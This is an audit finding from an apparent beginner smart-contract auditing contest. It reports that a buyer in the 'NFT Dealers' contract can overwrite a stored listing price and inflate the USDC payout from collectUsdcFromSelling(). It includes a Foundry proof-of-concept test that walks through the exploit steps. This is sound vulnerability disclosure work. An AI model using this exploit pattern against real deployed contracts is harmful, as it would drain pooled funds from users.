NFT Dealers

First Flight #58
Beginner FriendlyFoundry
100 EXP
Submission Details
Impact: high
Likelihood: high

A buyer can overwrite the stored sale price after purchase and inflate collectUsdcFromSelling() payout

Author Revealed upon completion

Root + Impact

Description

Under normal behavior, once a sale is executed, the seller’s payout should be calculated from the actual executed sale price. That sale price should become immutable after buy() completes.

In the current implementation, collectUsdcFromSelling() calculates payout from s_listings[_listingId].price, but s_listings is keyed by tokenId and can be overwritten by a later listing of the same NFT. After buying the NFT, the buyer becomes the owner and can re-list the same token, which rewrites the price field for that storage slot. The buyer can then call updatePrice() to set an even higher value, make the new listing inactive, and finally call collectUsdcFromSelling() using the manipulated price instead of the real sale price.

function buy(uint256 _listingId) external payable {
Listing memory listing = s_listings[_listingId];
...
_safeTransfer(listing.seller, msg.sender, listing.tokenId, "");
s_listings[_listingId].isActive = false;
// @> actual executed price is not snapshotted anywhere
}
function updatePrice(uint256 _listingId, uint32 _newPrice) external onlySeller(_listingId) {
...
s_listings[_listingId].price = _newPrice;
// @> mutable listing price can be changed after a later re-list
}
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
...
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
// @> payout uses overwritten price, not original sale price
}

Risk

Likelihood:

  • The bug occurs whenever a buyer purchases a token and re-lists that same token before the original seller collects proceeds.

  • The exploit path is straightforward because the new owner can overwrite the listing record and then update the price before calling the payout function.

Impact:

  • Payouts can be calculated from an attacker-controlled value rather than the actual executed sale price.

  • The contract can overpay the caller and drain pooled USDC.

  • The original seller’s settlement guarantees are broken because sale accounting is no longer tied to the completed transaction.

Proof of Concept

Paste this inside NFTDealersTest.t.sol:

function testBuyerCanInflatePayoutByOverwritingStoredPrice() public revealed {
uint256 tokenId = 1;
uint32 originalSalePrice = 1000e6;
uint32 relistPrice = 1200e6;
uint32 inflatedPrice = 50_000e6;
// Buyer must be whitelisted to re-list.
vm.prank(owner);
nftDealers.whitelistWallet(userWithEvenMoreCash);
mintAndListNFTForTesting(tokenId, originalSalePrice);
// Buyer purchases for the original sale price.
vm.startBroadcast(userWithEvenMoreCash);
usdc.approve(address(nftDealers), originalSalePrice);
nftDealers.buy(tokenId);
// Buyer overwrites the listing record for the same tokenId.
nftDealers.list(tokenId, relistPrice);
nftDealers.updatePrice(tokenId, inflatedPrice);
nftDealers.cancelListing(tokenId);
vm.stopBroadcast();
// Fund contract so inflated payout can be observed.
uint256 inflatedFees = nftDealers.calculateFees(inflatedPrice);
uint256 inflatedPayout = uint256(inflatedPrice) - inflatedFees;
usdc.mint(address(nftDealers), inflatedPayout);
uint256 buyerBalanceBefore = usdc.balanceOf(userWithEvenMoreCash);
vm.prank(userWithEvenMoreCash);
nftDealers.collectUsdcFromSelling(tokenId);
uint256 buyerBalanceAfter = usdc.balanceOf(userWithEvenMoreCash);
// Buyer receives payout based on inflatedPrice, not originalSalePrice.
assertEq(buyerBalanceAfter - buyerBalanceBefore, inflatedPayout);
}

Recommended Mitigation

Recommended Mitigation

Snapshot immutable sale data inside buy() and use that snapshot for settlement. Do not let later listings or price updates affect the payout of an already executed sale.

- remove this code
+ add this code

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!